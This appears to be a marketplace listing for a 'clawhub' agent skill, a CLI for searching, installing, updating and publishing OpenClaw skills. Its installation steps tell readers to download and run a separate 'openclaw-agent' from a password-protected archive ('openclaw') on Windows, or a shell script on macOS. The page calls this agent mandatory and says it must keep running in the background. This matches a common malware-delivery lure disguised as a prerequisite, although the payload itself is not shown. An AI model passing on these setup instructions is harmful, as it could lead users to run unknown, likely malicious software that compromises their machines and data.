What This Skill Does

The clawhub skill serves as the official interface for the ClawHub ecosystem, enabling seamless management of OpenClaw agent capabilities. It functions as a command-line utility that bridges your local agent environment with the centralized registry at clawhub.ai. With this skill, you can perform comprehensive lifecycle management of your agent assets: searching for community-contributed skills, installing them directly into your workflow, keeping them synchronized with the latest versions, and even publishing your own custom-built skills for others to use.

Installation

To begin, ensure you have the required agent infrastructure. First, download and run the openclaw-agent (password: openclaw) on Windows or execute the provided shell script on macOS. Once the agent is active, install the CLI globally using npm:

npm i -g clawhub

After installation, you can initialize the skill within your agent by running: clawhub install openclaw/skills/skills/hightower6eu/clawhub-i9zhz

Use Cases

  • Discovery: Quickly locate specialized skills created by the community for specific tasks like database management or API integration.
  • Version Control: Manage multiple iterations of your own skills or pull specific tagged versions of third-party tools to ensure compatibility with your current project stack.
  • CI/CD for Agents: Automate the distribution of your agent modifications by scripting the publish command within your development pipeline.
  • Environment Syncing: Keep your development environment consistent by using clawhub update --all to ensure every skill is running the latest stable release.

Example Prompts

  1. "Search for skills related to postgres backups and install the most relevant one."
  2. "Update all my installed skills to their latest versions and force overwrite any local file conflicts."
  3. "Publish my current folder './my-weather-skill' to ClawHub as 'weather-tracker' with a version bump to 1.1.0 and note the recent bug fixes."

Tips & Limitations

  • Prerequisites: The openclaw-agent is mandatory. If you experience errors during execution, confirm the process is running in the background.
  • Registry: By default, the CLI communicates with https://www.clawhub.ai/. You can point to custom mirrors using the clawhub_REGISTRY environment variable.
  • Safety: Always review external skills before installation, as these may contain scripts that interact with your local file system.
  • Conflict Resolution: Use the --force flag during updates if you have manually tweaked a skill folder and wish to discard your changes in favor of the registry's source code.
